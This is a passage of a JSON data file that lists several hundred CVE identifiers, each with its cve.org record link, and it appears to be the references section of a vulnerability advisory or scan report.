          "name": "CVE-2026-107161",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107161"
        },
        {
          "name": "CVE-2026-90830",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90830"
        },
        {
          "name": "CVE-2026-77791",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77791"
        },
        {
          "name": "CVE-2026-114583",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114583"
        },
        {
          "name": "CVE-2026-63209",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63209"
        },
        {
          "name": "CVE-2026-32286",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32286"
        },
        {
          "name": "CVE-2025-32386",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32386"
        },
        {
          "name": "CVE-2026-6479",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6479"
        },
        {
          "name": "CVE-2026-43894",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-43894"
        },
        {
          "name": "CVE-2025-11840",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11840"
        },
        {
          "name": "CVE-2026-93578",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93578"
        },
        {
          "name": "CVE-2024-52005",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-52005"
        },
        {
          "name": "CVE-2026-39984",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39984"
        },
        {
          "name": "CVE-2026-42496",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42496"
        },
        {
          "name": "CVE-2023-54404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-54404"
        },
        {
          "name": "CVE-2026-59999",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59999"
        },
        {
          "name": "CVE-2026-40468",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40468"
        },
        {
          "name": "CVE-2026-1965",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1965"
        },
        {
          "name": "CVE-2026-76183",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76183"
        },
        {
          "name": "CVE-2026-40467",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40467"
        },
        {
          "name": "CVE-2026-112944",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112944"
        },
        {
          "name": "CVE-2026-54514",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
        },
        {
          "name": "CVE-2026-46718",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46718"
        },
        {
          "name": "CVE-2026-34181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34181"
        },
        {
          "name": "CVE-2026-106450",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106450"
        },
        {
          "name": "CVE-2026-35189",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35189"
        },
        {
          "name": "CVE-2026-47207",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47207"
        },
        {
          "name": "CVE-2026-97687",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97687"
        },
        {
          "name": "CVE-2026-32327",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32327"
        },
        {
          "name": "CVE-2025-0913",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-0913"
        },
        {
          "name": "CVE-2024-26147",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-26147"
        },
        {
          "name": "CVE-2026-81870",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81870"
        },
        {
          "name": "CVE-2026-93568",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93568"
        },
        {
          "name": "CVE-2026-55276",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55276"
        },
        {
          "name": "CVE-2026-25990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25990"
        },
        {
          "name": "CVE-2026-58013",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58013"
        },
        {
          "name": "CVE-2020-25694",
          "url": "https://www.cve.org/CVERecord?id=CVE-2020-25694"
        },
        {
          "name": "CVE-2026-32288",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32288"
        },
        {
          "name": "CVE-2026-56416",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56416"
        },
        {
          "name": "CVE-2026-41568",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41568"
        },
        {
          "name": "CVE-2026-95210",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95210"
        },
        {
          "name": "CVE-2026-12345",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12345"
        },
        {
          "name": "CVE-2026-97030",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97030"
        },
        {
          "name": "CVE-2025-46835",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-46835"
        },
        {
          "name": "CVE-2026-96233",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96233"
        },
        {
          "name": "CVE-2025-47907",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
        },
        {
          "name": "CVE-2025-1181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1181"
        },
        {
          "name": "CVE-2026-107928",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107928"
        },
        {
          "name": "CVE-2026-42497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42497"
        },
        {
          "name": "CVE-2022-41409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-41409"
        },
        {
          "name": "CVE-2026-66007",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66007"
        },
        {
          "name": "CVE-2025-12084",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12084"
        },
        {
          "name": "CVE-2026-47892",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47892"
        },
        {
          "name": "CVE-2026-59921",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59921"
        },
        {
          "name": "CVE-2026-71514",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71514"
        },
        {
          "name": "CVE-2026-0897",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0897"
        },
        {
          "name": "CVE-2026-91779",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91779"
        },
        {
          "name": "CVE-2026-42770",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42770"
        },
        {
          "name": "CVE-2025-5197",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5197"
        },
        {
          "name": "CVE-2026-26309",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26309"
        },
        {
          "name": "CVE-2026-54058",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
        },
        {
          "name": "CVE-2024-47611",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-47611"
        },
        {
          "name": "CVE-2026-89156",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89156"
        },
        {
          "name": "CVE-2026-78682",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78682"
        },
        {
          "name": "CVE-2025-45582",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-45582"
        },
        {
          "name": "CVE-2026-91776",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91776"
        },
        {
          "name": "CVE-2025-46569",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-46569"
        },
        {
          "name": "CVE-2026-27138",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27138"
        },
        {
          "name": "CVE-2025-11468",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11468"
        },
        {
          "name": "CVE-2026-86414",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86414"
        },
        {
          "name": "CVE-2026-82208",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82208"
        },
        {
          "name": "CVE-2026-40355",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40355"
        },
        {
          "name": "CVE-2026-12479",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12479"
        },
        {
          "name": "CVE-2026-8926",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8926"
        },
        {
          "name": "CVE-2026-95837",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95837"
        },
        {
          "name": "CVE-2026-93491",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93491"
        },
        {
          "name": "CVE-2026-32284",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32284"
        },
        {
          "name": "CVE-2026-96778",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96778"
        },
        {
          "name": "CVE-2023-45288",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-45288"
        },
        {
          "name": "CVE-2026-46675",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46675"
        },
        {
          "name": "CVE-2026-45673",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45673"
        },
        {
          "name": "CVE-2026-73282",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73282"
        },
        {
          "name": "CVE-2026-3446",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3446"
        },
        {
          "name": "CVE-2026-32875",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32875"
        },
        {
          "name": "CVE-2026-106452",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106452"
        },
        {
          "name": "CVE-2026-39822",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39822"
        },
        {
          "name": "CVE-2026-111748",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111748"
        },
        {
          "name": "CVE-2026-112910",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112910"
        },
        {
          "name": "CVE-2026-39833",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39833"
        },
        {
          "name": "CVE-2026-112398",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112398"
        },
        {
          "name": "CVE-2025-2149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2149"
        },
        {
          "name": "CVE-2025-69419",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69419"
        },
        {
          "name": "CVE-2025-6052",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6052"
        },
        {
          "name": "CVE-2026-3783",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3783"
        },
        {
          "name": "CVE-2026-66822",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66822"
        },
        {
          "name": "CVE-2026-13221",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13221"
        },
        {
          "name": "CVE-2026-34502",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34502"
        },
        {
          "name": "CVE-2026-33814",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33814"
        },
        {
          "name": "CVE-2026-23831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-23831"
        },
        {
          "name": "CVE-2026-27456",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27456"
        },
        {
          "name": "CVE-2026-96225",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96225"
        },
        {
          "name": "CVE-2026-22701",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22701"
        },
        {
          "name": "CVE-2026-33748",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33748"
        },
        {
          "name": "CVE-2026-63074",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63074"
        },
        {
          "name": "CVE-2026-88815",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-88815"
        },
        {
          "name": "CVE-2026-111943",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111943"
        },
        {
          "name": "CVE-2026-68569",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68569"
        },
        {
          "name": "CVE-2025-2953",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2953"
        },
        {
          "name": "CVE-2026-8458",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8458"
        },
        {
          "name": "CVE-2026-59084",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
        },
        {
          "name": "CVE-2026-14586",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14586"
        },
        {
          "name": "CVE-2026-93493",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93493"
        },
        {
          "name": "CVE-2025-58185",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
        },
        {
          "name": "CVE-2026-65183",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65183"
        },
        {
          "name": "CVE-2026-85501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85501"
        },
        {
          "name": "CVE-2025-3933",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3933"
        },
        {
          "name": "CVE-2025-49794",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-49794"
        },
        {
          "name": "CVE-2024-57970",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-57970"
        },
        {
          "name": "CVE-2026-77421",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77421"
        },
        {
          "name": "CVE-2026-6429",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6429"
        },
        {
          "name": "CVE-2026-5419",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5419"
        },
        {
          "name": "CVE-2025-61731",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61731"
        },
        {
          "name": "CVE-2026-4426",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4426"
        },
        {
          "name": "CVE-2026-77756",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77756"
        },
        {
          "name": "CVE-2026-45536",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45536"
        },
        {
          "name": "CVE-2025-3000",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3000"
        },
        {
          "name": "CVE-2026-14739",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14739"
        },
        {
          "name": "CVE-2023-36632",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-36632"
        },
        {
          "name": "CVE-2026-112061",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112061"
        },
        {
          "name": "CVE-2026-93573",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93573"
        },
        {
          "name": "CVE-2026-58015",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58015"
        },
        {
          "name": "CVE-2026-39824",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39824"
        },
        {
          "name": "CVE-2026-56131",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56131"
        },
        {
          "name": "CVE-2026-88041",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-88041"
        },
        {
          "name": "CVE-2025-66863",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66863"
        },
        {
          "name": "CVE-2026-96405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96405"
        },
        {
          "name": "CVE-2026-96644",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96644"
        },
        {
          "name": "CVE-2026-27137",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27137"
        },
        {
          "name": "CVE-2026-27143",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27143"
        },
        {
          "name": "CVE-2024-56171",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-56171"
        },
        {
          "name": "CVE-2026-12484",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12484"
        },
        {
          "name": "CVE-2026-85363",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85363"
        },
        {
          "name": "CVE-2026-8674",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8674"
        },
        {
          "name": "CVE-2026-54911",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54911"
        },
        {
          "name": "CVE-2026-85732",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85732"
        },
        {
          "name": "CVE-2026-46600",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46600"
        },
        {
          "name": "CVE-2026-96637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96637"
        },
        {
          "name": "CVE-2026-112896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112896"
        },
        {
          "name": "CVE-2026-45445",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45445"
        },
        {
          "name": "CVE-2026-29111",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-29111"
        },
        {
          "name": "CVE-2026-112900",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112900"
        },
        {
          "name": "CVE-2026-68525",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68525"
        },
        {
          "name": "CVE-2025-13837",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13837"
        },
        {
          "name": "CVE-2026-70453",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70453"
        },
        {
          "name": "CVE-2026-59901",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59901"
        },
        {
          "name": "CVE-2026-47262",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47262"
        },
        {
          "name": "CVE-2026-18508",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18508"
        },
        {
          "name": "CVE-2026-18040",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18040"
        },
        {
          "name": "CVE-2026-33747",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33747"
        },
        {
          "name": "CVE-2025-71408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-71408"
        },
        {
          "name": "CVE-2025-15649",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15649"
        },
        {
          "name": "CVE-2026-3731",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3731"
        },
        {
          "name": "CVE-2026-84233",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84233"
        },
        {
          "name": "CVE-2026-39832",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39832"
        },
        {
          "name": "CVE-2026-118370",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-118370"
        },
        {
          "name": "CVE-2026-35469",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
        },
        {
          "name": "CVE-2026-112902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112902"
        },
        {
          "name": "CVE-2026-73500",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73500"
        },
        {
          "name": "CVE-2026-9698",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9698"
        },
        {
          "name": "CVE-2026-19548",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19548"
        },
        {
          "name": "CVE-2026-41257",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41257"
        },
        {
          "name": "CVE-2026-81725",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81725"
        },
        {
          "name": "CVE-2026-42015",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42015"
        },
        {
          "name": "CVE-2026-112909",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112909"
        },
        {
          "name": "CVE-2026-39829",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39829"
        },
        {
          "name": "CVE-2026-112397",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112397"
        },
        {
          "name": "CVE-2026-68498",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68498"
        },
        {
          "name": "CVE-2025-69652",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69652"
        },
        {
          "name": "CVE-2026-66046",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66046"
        },
        {
          "name": "CVE-2026-53795",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53795"
        },
        {
          "name": "CVE-2026-41178",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41178"
        },
        {
          "name": "CVE-2026-112394",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112394"
        },
        {
          "name": "CVE-2024-8176",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-8176"
        },
        {
          "name": "CVE-2026-56392",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56392"
        },
        {
          "name": "CVE-2026-65637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65637"
        },
        {
          "name": "CVE-2026-8376",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8376"
        },
        {
          "name": "CVE-2026-50163",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50163"
        },
        {
          "name": "CVE-2025-9905",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9905"
        },
        {
          "name": "CVE-2026-119377",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119377"
        },
        {
          "name": "CVE-2026-86411",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86411"
        },
        {
          "name": "CVE-2025-15367",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15367"
        },
        {
          "name": "CVE-2026-58014",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58014"
        },
        {
          "name": "CVE-2026-54516",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54516"
        },
        {
          "name": "CVE-2026-3442",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3442"
        },
        {
          "name": "CVE-2026-86142",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86142"
        },
        {
          "name": "CVE-2026-13595",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13595"
        },
        {
          "name": "CVE-2026-6357",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6357"
        },
        {
          "name": "CVE-2026-103995",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-103995"
        },
        {
          "name": "CVE-2026-85999",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85999"
        },
        {
          "name": "CVE-2026-56410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56410"
        },
        {
          "name": "CVE-2026-71885",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71885"
        },
        {
          "name": "CVE-2026-48044",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48044"
        },
        {
          "name": "CVE-2025-15467",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15467"
        },
        {
          "name": "CVE-2026-90803",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90803"
        },
        {
          "name": "CVE-2025-9820",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9820"
        },
        {
          "name": "CVE-2026-19546",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19546"
        },
        {
          "name": "CVE-2026-2006",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
        },
        {
          "name": "CVE-2026-54515",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
        },
        {
          "name": "CVE-2025-1180",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1180"
        },
        {
          "name": "CVE-2025-4373",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4373"
        },
        {
          "name": "CVE-2026-13757",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13757"
        },
        {
          "name": "CVE-2025-4598",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4598"
        },
        {
          "name": "CVE-2025-27144",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-27144"
        },
        {
          "name": "CVE-2026-95519",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95519"
        },
        {
          "name": "CVE-2026-6637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6637"
        },
        {
          "name": "CVE-2026-74048",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-74048"
        },
        {
          "name": "CVE-2026-55798",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55798"
        },
        {
          "name": "CVE-2026-94444",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94444"
        },
        {
          "name": "CVE-2026-73283",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73283"
        },
        {
          "name": "CVE-2026-55717",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55717"
        },
        {
          "name": "CVE-2026-19953",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19953"
        },
        {
          "name": "CVE-2026-108106",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-108106"
        },
        {
          "name": "CVE-2026-26330",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26330"
        },
        {
          "name": "CVE-2026-15308",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
        },
        {
          "name": "CVE-2026-27145",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27145"
        },
        {
          "name": "CVE-2024-35255",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-35255"
        },
        {
          "name": "CVE-2024-24557",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-24557"
        },
        {
          "name": "CVE-2026-41080",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41080"
        },
        {
          "name": "CVE-2026-112400",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112400"
        },
        {
          "name": "CVE-2026-14668",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14668"
        },
        {
          "name": "CVE-2026-68497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68497"
        },
        {
          "name": "CVE-2025-55198",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-55198"
        },
        {
          "name": "CVE-2021-46195",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-46195"
        },
        {
          "name": "CVE-2026-84243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84243"
        },
        {
          "name": "CVE-2025-21613",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-21613"
        },
        {
          "name": "CVE-2023-29491",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-29491"
        },
        {
          "name": "CVE-2026-101356",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-101356"
        },
        {
          "name": "CVE-2026-32778",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32778"
        },
        {
          "name": "CVE-2026-5121",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5121"
        },
        {
          "name": "CVE-2026-39834",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39834"
        },
        {
          "name": "CVE-2025-1182",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1182"
        },
        {
          "name": "CVE-2026-63073",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63073"
        },
        {
          "name": "CVE-2026-16241",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16241"
        },
        {
          "name": "CVE-2026-57914",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-57914"
        },
        {
          "name": "CVE-2026-65901",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
        },
        {
          "name": "CVE-2022-40897",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-40897"
        },
        {
          "name": "CVE-2026-46595",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46595"
        },
        {
          "name": "CVE-2026-1485",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1485"
        },
        {
          "name": "CVE-2025-5372",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5372"
        },
        {
          "name": "CVE-2026-9335",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9335"
        },
        {
          "name": "CVE-2026-119372",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119372"
        },
        {
          "name": "CVE-2026-88648",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-88648"
        },
        {
          "name": "CVE-2026-96639",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96639"
        },
        {
          "name": "CVE-2026-112395",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112395"
        },
        {
          "name": "CVE-2026-79921",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79921"
        },
        {
          "name": "CVE-2026-6473",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6473"
        },
        {
          "name": "CVE-2026-93569",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93569"
        },
        {
          "name": "CVE-2026-64607",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-64607"
        },
        {
          "name": "CVE-2026-33236",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33236"
        },
        {
          "name": "CVE-2026-87864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87864"
        },
        {
          "name": "CVE-2026-93564",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93564"
        },
        {
          "name": "CVE-2026-104874",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-104874"
        },
        {
          "name": "CVE-2026-93574",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93574"
        },
        {
          "name": "CVE-2026-72818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-72818"
        },
        {
          "name": "CVE-2026-2005",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2005"
        },
        {
          "name": "CVE-2025-64329",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-64329"
        },
        {
          "name": "CVE-2026-71497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71497"
        },
        {
          "name": "CVE-2026-90804",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90804"
        },
        {
          "name": "CVE-2026-41992",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41992"
        },
        {
          "name": "CVE-2026-92392",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92392"
        },
        {
          "name": "CVE-2025-1152",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1152"
        },
        {
          "name": "CVE-2026-24051",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24051"
        },
        {
          "name": "CVE-2026-90829",
